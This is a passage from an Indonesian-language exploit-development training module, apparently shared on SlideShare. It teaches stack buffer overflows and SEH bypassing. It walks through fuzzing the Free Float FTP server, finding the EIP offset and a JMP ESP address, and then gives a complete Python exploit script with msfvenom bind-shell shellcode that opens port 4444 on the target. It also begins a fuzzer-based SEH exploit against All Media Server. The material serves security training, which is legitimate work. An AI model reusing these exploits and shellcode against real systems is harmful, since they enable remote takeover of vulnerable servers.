SlideShare a Scribd company logo
1 of 49
HATSECURE TRAINING
#DEMO
EVENT 22 – 23 JUNI 2013
ADVANCED
EXPLOIT DEVELOPMENT
Danang Heriyadi
danang@hatsecure.com
Copyright By Hatsecure Advanced Exploit Development
Disclaimer
Dilarang merubah isi modul dan menggandakan
modul ini tanpa seijin penulis
Copyright By Hatsecure
Copyright By Hatsecure Advanced Exploit Development
Table of Contents
Introduction..................................................................................................... 6
0x01 Classic stack overflow.................................................................... 7
Objective............................................................................................. 7
Overview................................................................................................. 7
Exercise................................................................................................... 7
Free float FTP Vulnerability................................................................ 8
Fuzzing : Crash the service............................................................ 9
Fuzzing : Finding the Right Offset to EIP.................................... 10
Controlling the EIP...................................................................... 17
Take over the victim..................................................................... 22
Conclusion........................................................................................ 23
0x02 Bypassing Structured Exception Handling........................... 24
Objective........................................................................................... 24
Overview..................................................................................... 24
Structured Exception Handling.................................................... 25
SEH / Safe SEH Bypassing Theory.............................................. 25
Testing SEH / SafeSEH protection.............................................. 25
Exercise....................................................................................... 28
All Media Server Vulnerability.......................................................... 28
Module intruction mapping.......................................................... 30
Returning into our shellcode....................................................... 39
Conclusion........................................................................................ 39
0x03 Bypassing Data Exception Prevention................................... 40
Objective........................................................................................... 40
Copyright By Hatsecure Advanced Exploit Development
Overview..................................................................................... 40
Data Exception Prevention.......................................................... 40
DEP Bypassing theory................................................................. 40
Testing DEP Protection............................................................... 41
Case Of study : Sami FTP Vulnerability............................................ 41
Return Oriented Programming..................................................... 41
Defeating DEP with ROP............................................................ 44
Returning into our shellcode....................................................... 45
Conclusion........................................................................................ 47
0x03 Bypassing ASLR in windows 7.................................................. 48
Objective........................................................................................... 48
Overview..................................................................................... 48
Address Space Layout Randomization........................................ 48
ASLR bypass theory.................................................................... 48
0x04 Heap Memory Exploitation........................................................... X
Objective............................................................................................. X
Overview....................................................................................... X
Heap Memory Layout.................................................................... X
Case Of Study : Heap Spraying Internet Explorer.............................. X
Heap Spray Technique................................................................... X
Triggering Vulnerability.................................................................. X
Returning into heap buffer............................................................. X
Conclusion.......................................................................................... X
0x05 Metasploit Module Development............................................... X
Objective............................................................................................. X
Overview....................................................................................... X
Copyright By Hatsecure Advanced Exploit Development
Convert your exploit to metasploit module.................................. X
0x06 Shellcode Development................................................................. X
Objective............................................................................................. X
Overview....................................................................................... X
Software Required......................................................................... X
Windows API................................................................................. X
Static Shellcode Writing..................................................................... X
Message Box................................................................................. X
Windows Execute.......................................................................... X
Combination shellcode.................................................................. X
Convert your shellcode to metasploit module.............................. X
Shellcode Injection with metasploit.................................................... X
Reporting............................................................................................ X
Copyright By Hatsecure Advanced Exploit Development
Introduction
Exploit adalah suatu script yang menyerang melalui celah keamanan komputer
secara spesifik. Dalam exploit terkadang ditemukan suatu shellcode, shellcode
inilah yang menjadi suatu amunisi dari tool exploit.
Tool exploit bukan hal yang asing oleh seseorang yang menjadi praktisi
keamanan. Tool ini bisa digunakan untuk menguji keamanan secara legal.
Pada training “advanced exploit development” ini kita akan membahas dan
mengupas bagaimana seorang praktisi keamanan mencari celah keamanan,
membuat dan mengembangkan exploit.
Copyright By Hatsecure Advanced Exploit Development
0x01 Classic Stack Overflow
Objective
• Memahami konsep stack overflow
• Memahami metode debugging
• Memahami metode fuzzing atau fuzz testing
• Mampu mengeksploitasi celah stack overflow
Overview
Celah basis stack overflow terjadi ketika software melakukan penulisan data
melebihi kapasitas buffer. Sehingga data yang melebihi tersebut akan merubah
nilai yang ada dalam register memory.
Contoh source code yang memiliki celah stack overflow :
Source code diatas ketika kita kompilasi dan eksekusi.Kita hanya dapat mengisi
data maksimal 20 karakter dan apabila lebih dari 20 karakter, data yang kita
masukkan akan merubah nilai yang ada dalam register memory.
Exercise
Cobalah untuk mengulang hingga memahami konsep dan eksploitasi stack
overflow.
Copyright By Hatsecure Advanced Exploit Development
#include <stdio.h>
int main(){
char data[20];
printf(“Masukkan data : “);
gets(data);
return 0;
}
Free float FTP Vulnerability
Pertama kali exploit dari software Free Float FTP di publish oleh 0v3r di situs
www.exploit-db.com. Beliau menemukan kerentanan pada command USER,
command ini digunakan untuk melakukan authentification ketika akan mengakses
FTP server.
Sebagai contoh sederhana, dibawah ini merupakan source code login FTP :
Copyright By Hatsecure Advanced Exploit Development
import socket
username = “anonymous”
password = “anonymous”
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,21))
print s.recv(1024)
s.send(“USER ”+username+”rn”)
print s.recv(1024)
s.send(“PASS “+password+”rn”)
print s.recv(1024)
s.close()
Fuzzing: Crash the Service
Fuzzing atau fuzz testing merupakan metode untuk mengetahui apakah suatu
software memiliki celah buffer overflow. Jika software mengalami crash dapat
dipastikan mungkin terdapat celah pada software tersebut. Jalankan freefloat
FTP melalui immunity debugger.
Melalui terminal kali linux, buatlah script FTP fuzzer :
Perhatikan apa yang terjadi ketika script fuzzer dijalankan :
Copyright By Hatsecure Advanced Exploit Development
root@kali:~# python ftp.py
220 FreeFloat Ftp Server (Version 1.00).
331 Password required for
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA.
import socket
username = “A” * 1000
password = “anonymous”
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,21))
print s.recv(1024)
s.send(“USER ”+username+”rn”)
print s.recv(1024)
s.send(“PASS “+password+”rn”)
print s.recv(1024)
s.close()
Perhatikan alamat EIP berubah menjadi 41414141 (ASCII “AAAA”). Alamat
41414141 tidak ditemukan atau diketahui sehingga software berhenti secara
tidak normal.
Secara teori apabila kita berhasil merubah nilai yang ada dalam register EIP,
maka kemungkinan besar kita dapat mengarahkan EIP ke alamat yang terdapat
shellcode. Untuk merubahnya kita harus menuliskan nilai dengan tepat pad EIP.
Fuzzing: Finding the Right Offset to EIP
Metode ini diperlukan untuk mengetahui berapa karakter yang perlu ditulis untuk
memenuhi variabel lokal dan untuk mencapai EIP.
Pada terminal kali linux jalankan perintah :
Perintah diatas digunakan untuk generate kombinasi karakter. Kita tulis 1000
sesuai tool fuzzer sebelumnya yang telah kita buat. Sehingga akan muncul
Copyright By Hatsecure Advanced Exploit Development
root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools/
root@kali:~# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac
2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A
e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7
Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj
0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2A
l3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5
An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap
8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0A
s1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3
Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw
6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8A
y9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1
Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd
4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6B
f7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
kombinasi sebanyak 1000 karakter. Copy kombinasi karakter tersebut dan
masukkan ke dalam script fuzzer.
Restart software debugger pada menekan tombol CTRL+F2. Dan jalankan
kembali free float ftp melalui immunity debugger.
Setelah itu jalankan kembali script fuzzer.
Perhatikanlah EIP register yang berhasil dirubah, nilainya menjadi 37684136
Copyright By Hatsecure Advanced Exploit Development
import socket
username=“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A
b9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1
Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag
4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6A
i7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9
Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An
2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4A
p5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7
Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au
0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2A
w3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5
Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba
8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0B
d1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3
Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B”
password = “anonymous”
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,21))
print s.recv(1024)
root@kali:~# python ftp.py
Kita cari offset menggunakan pattern_offset.rb, melalui terminal linux jalankan
perintah berikut :
Dari output diatas kita tahu bahwa membutuhkan sebanyak 230 karakter untuk
memenuhi variabel lokal dan ditambahkan 4 untuk merubah nilai EIP.
Sehingga kita perlu merubah script fuzzer menjadi :
Restart software free float ftp dengan menekan tombol CTRL + F2 pada
immunity debugger.
Copyright By Hatsecure Advanced Exploit Development
root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools
root@kali:~# ./pattern_offset.rb 37684136
[*] Exact match at offset 230
import socket
username = “A” * 230
eip = “BBBB”
password = “anonymous”
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,21))
print s.recv(1024)
s.send(“USER ”+username+eip+”rn”)
print s.recv(1024)
s.send(“PASS “+password+”rn”)
print s.recv(1024)
s.close()
Jalankan lagi free float ftp melalui immunity debugger. Lalu eksekusi lagi script
FTP fuzzer. Perhatikan EIP register menjadi 42424242 (ASCII=BBBB).
Kita sudah berhasil dan tepat merubah nilai pada EIP register. Selanjutnya
cobalah menambahkan intruksi nop atau No Operation (0x90) pada script
fuzzer menjadi :
Restart free float ftp seperti sebelumnya dan jalankan kembali melalui immunity
debugger.
Pada kali ini tujuan kita adalah mengetahui dimana letak NOP (0x90) berada.
Secara teori seharusnya sekumpulan nop (0x90) alamatnya berada pada ESP
register. Namun kita perlu memastikannya dengan menjalankan script fuzzer
Copyright By Hatsecure Advanced Exploit Development
import socket
username = “A” * 230
eip = “BBBB”
nop = “x90” * 500
password = “anonymous”
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,21))
print s.recv(1024)
s.send(“USER ”+username+eip+nop+”rn”)
print s.recv(1024)
s.send(“PASS “+password+”rn”)
print s.recv(1024)
s.close()
yang sudah ditambahkan NOP.
Perhatikan screenshot dibawah ini :
Klik kanan pada ESP register lalu pilih Follow in Dump.
Pada dump view akan muncul NOP (0x90) sebanyak 500 byte.
Copyright By Hatsecure Advanced Exploit Development
root@kali:~# python ftp.py
Kita dapat menyimpulkan alamat yang tersimpan pada ESP mengarah pada nop
yang kita kirim sebanyak 500 byte. Kita dapat menambahkan shellcode bind tcp.
Untuk generatenya menggunakan perintah :
Copyright By Hatsecure Advanced Exploit Development
root@kali:~# msfvenom -p windows/shell_bind_tcp RPORT=4444 -b
"x0ax00x0d"
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
buf =
"xb8x47xc8xa9x15xdbxdbxd9x74x24xf4x5bx2bxc9" +
"xb1x56x31x43x13x83xebxfcx03x43x48x2ax5cxe9" +
"xbex23x9fx12x3ex54x29xf7x0fx46x4dx73x3dx56" +
"x05xd1xcdx1dx4bxc2x46x53x44xe5xefxdexb2xc8" +
"xf0xeex7ax86x32x70x07xd5x66x52x36x16x7bx93" +
"x7fx4bx73xc1x28x07x21xf6x5dx55xf9xf7xb1xd1" +
"x41x80xb4x26x35x3axb6x76xe5x31xf0x6ex8ex1e" +
"x21x8ex43x7dx1dxd9xe8xb6xd5xd8x38x87x16xeb" +
"x04x44x29xc3x89x94x6dxe4x71xe3x85x16x0cxf4" +
"x5dx64xcax71x40xcex99x22xa0xeex4exb4x23xfc" +
"x3bxb2x6cxe1xbax17x07x1dx37x96xc8x97x03xbd" +
...........................................................
Lalu tambahkan pada script fuzzer menjadi :
Copyright By Hatsecure Advanced Exploit Development
import socket
username = “A” * 230
eip = “BBBB”
shellcode =
("xb8x47xc8xa9x15xdbxdbxd9x74x24xf4x5bx2bxc9" +
"xb1x56x31x43x13x83xebxfcx03x43x48x2ax5cxe9" +
"xbex23x9fx12x3ex54x29xf7x0fx46x4dx73x3dx56" +
"x05xd1xcdx1dx4bxc2x46x53x44xe5xefxdexb2xc8" +
"xf0xeex7ax86x32x70x07xd5x66x52x36x16x7bx93" +
"x7fx4bx73xc1x28x07x21xf6x5dx55xf9xf7xb1xd1" +
"x41x80xb4x26x35x3axb6x76xe5x31xf0x6ex8ex1e" +
"x21x8ex43x7dx1dxd9xe8xb6xd5xd8x38x87x16xeb" +
"x04x44x29xc3x89x94x6dxe4x71xe3x85x16x0cxf4" +
"x5dx64xcax71x40xcex99x22xa0xeex4exb4x23xfc" +
"x3bxb2x6cxe1xbax17x07x1dx37x96xc8x97x03xbd" +
"xccxfcxd0xdcx55x59xb7xe1x86x05x68x44xccxa4" +
"x7dxfex8fxa0xb2xcdx2fx31xdcx46x43x03x43xfd" +
"xcbx2fx0cxdbx0cx4fx27x9bx83xaexc7xdcx8ax74" +
"x93x8cxa4x5dx9bx46x35x61x4exc8x65xcdx20xa9" +
"xd5xadx90x41x3cx22xcfx72x3fxe8x66xb5xf1xc8" +
"x2bx52xf0xeexdaxfex7dx08xb6xeex2bx82x2excd" +
"x0fx1bxc9x2ex7ax37x42xb9x32x51x54xc6xc2x77" +
"xf7x6bx6ax10x83x67xafx01x94xadx87x48xadx26" +
"x5dx25x7cxd6x62x6cx16x7bxf0xebxe6xf2xe9xa3" +
"xb1x53xdfxbdx57x4ex46x14x45x93x1ex5fxcdx48" +
"xe3x5exccx1dx5fx45xdexdbx60xc1x8axb3x36x9f" +
"x64x72xe1x51xdex2cx5ex38xb6xa9xacxfbxc0xb5" +
"xf8x8dx2cx07x55xc8x53xa8x31xdcx2cxd4xa1x23" +
"xe7x5cxd1x69xa5xf5x7ax34x3cx44xe7xc7xebx8b" +
"x1ex44x19x74xe5x54x68x71xa1xd2x81x0bxbaxb6" +
"xa5xb8xbbx92" )
Controlling EIP
Setelah berhasil pada metode fuzzing sebelumnya, langkah ini bertujuan
mengontrol EIP dengan mengarahkannya ke shellcode yang telah kita kirim. Dari
hasil analisa sebelumnya kita sudah memahami bahwa ESP menyimpan alamat
shellcode kita yang ada didalam stack. Sehingga kita perlu mengarahkan EIP ke
alamat yang menyimpan intruksi JMP ESP.
Perlu diperhatikan : Kita menghindari bad character, antara lain 0a, 0d, 00.
Karakter ini biasanya menjadi semacam terminator pada shellcode kita, sehingga
shellcode kita tidak bekerja semestinya.
Untuk memulai mencari alamat intruksinya, kita perlu module sebagai loncatan
kita. Namun kita harus mencari tahu module mana yang tidak terproteksi ASLR
dengan menggunakan perintah berikut pada panel command immunity debugger :
Copyright By Hatsecure Advanced Exploit Development
nop = “x90” * (500-len(shellcode))
password = “anonymous”
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,21))
print s.recv(1024)
s.send(“USER ”+username+eip+nop+shellcode+”rn”)
print s.recv(1024)
s.send(“PASS “+password+”rn”)
print s.recv(1024)
s.close()
!mona noaslr
Default pada windows XP hampir semua module tidak terproteksi ASLR, dapat
diliat di layar immunity debugger semua module muncul setelah kita ketik
perintah !mona noaslr
Disini kita gunakan module user32.dll, anda dapat mencoba module lain jika
perlu. Pada menu view, pilih Executable modules.
Kemudian enter pada user32.dll seperti gambar dibawah ini :
Copyright By Hatsecure Advanced Exploit Development
Langkah selanjutnya adalah mencari intruksi JMP ESP. Kita dapat mudah
mencarinya dengan tombol CTRL+F dan tulis “JMP ESP”.
Alamat JMP ESP berhasil ditemukan yakni 0x7E4456F7. Alamat tersebut tidak
ada bad character sehingga kita bisa langsung menuliskannya ke dalam script
fuzzer sebelumnya. Ingat, bahwa kita perlu merubah alamat tersebut menjadi
format little endian. Kita bisa merubahnya manual dengan menuliskan dari
belakang menjadi 0xF756447E.
Atau bisa juga menggunakan library python struct, dengan memanggil fungsi
struct.pack(“<I”, 0x7E4456F7).
Copyright By Hatsecure Advanced Exploit Development
Berikut adalah script exploit dari script fuzzer sebelumnya :
Copyright By Hatsecure Advanced Exploit Development
import socket, struct
username = “A” * 230
eip = struct.pack(“<I”, 0x7E4456F7)
shellcode =
("xb8x47xc8xa9x15xdbxdbxd9x74x24xf4x5bx2bxc9" +
"xb1x56x31x43x13x83xebxfcx03x43x48x2ax5cxe9" +
"xbex23x9fx12x3ex54x29xf7x0fx46x4dx73x3dx56" +
"x05xd1xcdx1dx4bxc2x46x53x44xe5xefxdexb2xc8" +
"xf0xeex7ax86x32x70x07xd5x66x52x36x16x7bx93" +
"x7fx4bx73xc1x28x07x21xf6x5dx55xf9xf7xb1xd1" +
"x41x80xb4x26x35x3axb6x76xe5x31xf0x6ex8ex1e" +
"x21x8ex43x7dx1dxd9xe8xb6xd5xd8x38x87x16xeb" +
"x04x44x29xc3x89x94x6dxe4x71xe3x85x16x0cxf4" +
"x5dx64xcax71x40xcex99x22xa0xeex4exb4x23xfc" +
"x3bxb2x6cxe1xbax17x07x1dx37x96xc8x97x03xbd" +
"xccxfcxd0xdcx55x59xb7xe1x86x05x68x44xccxa4" +
"x7dxfex8fxa0xb2xcdx2fx31xdcx46x43x03x43xfd" +
"xcbx2fx0cxdbx0cx4fx27x9bx83xaexc7xdcx8ax74" +
"x93x8cxa4x5dx9bx46x35x61x4exc8x65xcdx20xa9" +
"xd5xadx90x41x3cx22xcfx72x3fxe8x66xb5xf1xc8" +
"x2bx52xf0xeexdaxfex7dx08xb6xeex2bx82x2excd" +
"x0fx1bxc9x2ex7ax37x42xb9x32x51x54xc6xc2x77" +
"xf7x6bx6ax10x83x67xafx01x94xadx87x48xadx26" +
"x5dx25x7cxd6x62x6cx16x7bxf0xebxe6xf2xe9xa3" +
"xb1x53xdfxbdx57x4ex46x14x45x93x1ex5fxcdx48" +
"xe3x5exccx1dx5fx45xdexdbx60xc1x8axb3x36x9f" +
"x64x72xe1x51xdex2cx5ex38xb6xa9xacxfbxc0xb5" +
"xf8x8dx2cx07x55xc8x53xa8x31xdcx2cxd4xa1x23" +
"xe7x5cxd1x69xa5xf5x7ax34x3cx44xe7xc7xebx8b" +
"x1ex44x19x74xe5x54x68x71xa1xd2x81x0bxbaxb6" +
"xa5xb8xbbx92" )
nop = “x90” * (500-len(shellcode))
password = “anonymous”
Restart free float ftp seperti sebelumnya. Kemudian jalankan kembali free float
ftp melalui immunity debugger. Lihat pada command prompt, ketik perintah :
netstat -an
Port 4444 belum terbuka, sekarang jalankan exploit yang telah kita buat tadi.
Copyright By Hatsecure Advanced Exploit Development
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,21))
print s.recv(1024)
s.send(“USER ”+username+eip+nop+shellcode+”rn”)
print s.recv(1024)
s.send(“PASS “+password+”rn”)
print s.recv(1024)
s.close()
root@kali:~# python ftp.py
Lihat kembali pada command prompt, jalankan perintah netstat -an.Maka akan
terlihat port 4444 terbuka.
Take Over the Victim
Jika exploit yang anda buat berhasil, dan berhasil membuka port langkah
terakhir mencoba mengakses port tersebut. Melalui terminal jalankan perintah
seperti dibawah ini :
Copyright By Hatsecure Advanced Exploit Development
Conclusion
Stack overflow non protection sangat mudah untuk di eksploitasi. Kita hanya
perlu menyisipkan shellcode kedalam stack dan mengarahkan EIP ke alamat
shellcode.
Copyright By Hatsecure Advanced Exploit Development
0x02 Bypassing Structured Exception Handling
Objective
• Memahami mekanisme SEH
• Memahami proteksi module SafeSEH
• Memahami teknik meloloskan mekanisme SEH
• Mampu mengeksploitasi celah stack overflow dengan proteksi SEH
Overview
Structured Exception Handling (SEH) adalah mekanisme yang dimiliki hardware
ataupun software untuk menangani exception yang ada. Exception pada
hardware dimunculkan oleh CPU contohnya dikarenakan eksekusi intruksi yang
menghasilkan error, contoh lainnya mencoba mengakses memori yang salah.
Sedangkan exception pada software muncul dikarenakan input validation atau
sanitasi input, contohnya invalid parameter value. Ketika seorang programmer
mengimplementasikan mekanisme SEH, maka software yang dibuatnya akan
mengontrol penuh error yang muncul dan melemparkan ke fungsi SEH.
Selain itu dengan munculnya mekanisme SEH ini ketika kita melakukan exploitasi
dan menyisipkan shellcode dalam stack, maka data kita tidak berada dalam ESP.
Gambar dibawah ini ada contoh 2 perbedaan mendasar antara data didalam
stack saat menggunakan metode classic stack overflow non SEH & SEH :
Copyright By Hatsecure Advanced Exploit Development
NON SEH (ESP)
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
SEH (ESP)
7C 90 32 A8
02 2B F6 18
02 2B FD 74
02 2B F6 34
02 2B F5 EC
Jika anda perhatikan teliti, pada kondisi non seh kita dapat langsung melakukan
langsung melompat ke ESP karena dalam ESP sudah terdapat NOP + shellcode.
Tetapi berbeda pada kondisi software yang mengimplementasikan SEH. Pada
ESP terdapat alamat, bukan nop atau shellcode kita.
SEH and SafeSEH Bypassing Theory
Perhatikan tumpukan data pada stack berikut ini :
• Tumpukan pertama 0x7C9032A8 merupakan
alamat untuk memunculkan kondisi error yang
akan dilempar ke fungsi SEH.
• Tumpukan kedua 0x022BF618 merupakan alamat
eksekusi SEH.
• Tumpukan 0x022BFD74 ketiga merupakan
dimana data kita berada (shellcode).
Sehingga yang kita perlukan adalah bagaimana agar kita bisa mengeksekusi
alamat 0x022BFD74 yang berada di tumpukan ketiga.
Kita dapat mengarahkan SEH handler ke intruksi :
• Intruksi POP pertama adalah mengeluarkan
tumpukan pertama yakni 0x7C9032A8.
• Intruksi POP kedua adalah mengeluarkan
tumpukan kedua yakni 0x022BF618.
• Dan intruksi RETN akan kembali ke alamat
tumpukan ketiga yakni 0x022BFD74 dan
mengeksekusi intruksi dalam alamat tersebut
(shellcode).
Testing SEH or SafeSEH Protection
Peserta diharapkan mencoba langsung melakukan debugging dan exploitasi
software (SEH) dengan metode classic stack overflow untuk lebih memahami
mekanisme bypass yang akan dibahas berikutnya.
Pertama kita harus melakukan fuzzing atau fuzz testing seperti biasanya, berikut
adalah script fuzzer dari software All Media Server.
Copyright By Hatsecure Advanced Exploit Development
SEH (ESP)
7C 90 32 A8
02 2B F6 18
02 2B FD 74
02 2B F6 34
02 2B F5 EC
POP register 32 bit
POP register 32 bit
RETN
Jalankan aplikasi All Media Server melalui immunity debugger. Kemudian klik
switch online seperti pada gambar di bawah ini :
Jalankan script fuzzer :
Copyright By Hatsecure Advanced Exploit Development
#!/usr/bin/python
import socket
data = “A” * 1500
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“192.168.56.101”,888))
s.send(data)
s.close()
root@kali:~# python allmedia.py
Setelah script fuzzer dijalankan, software mengalami crash Access Volation,
dan EIP register tidak ter-overwrite secara langsung (break sementara).
Dan buka SEH chain, pada menu view kemudian pilih SEH chain
Copyright By Hatsecure Advanced Exploit Development
Pada SEH chain kita berhasil merubah nilai didalamnya, sehingga ketika program
crash akan di lempar ke alamat 0x41414141 namun karena alamat itu tidak ada
maka program kemudian crash.
Exercise
Lakukan percobaan debugging dan memahami mekanisme SEH.
All Media Server Vulnerability
Dari percobaan sebelumnya kita sudah dapat mengetahui pertanda celah di All
Media Server. Disini kita akan melanjutkan tahapan berikutnya untuk mengetahui
berapa karakter agar bisa mencapai SEH Chain menggunakan pattern_create.rb.
Melalui terminal kali linux, jalankan perintah :
Copyright By Hatsecure Advanced Exploit Development
root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools/
root@kali:~# ./pattern_create.rb 1500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac
2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A
e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7
Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj
0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2A
l3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5
An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap
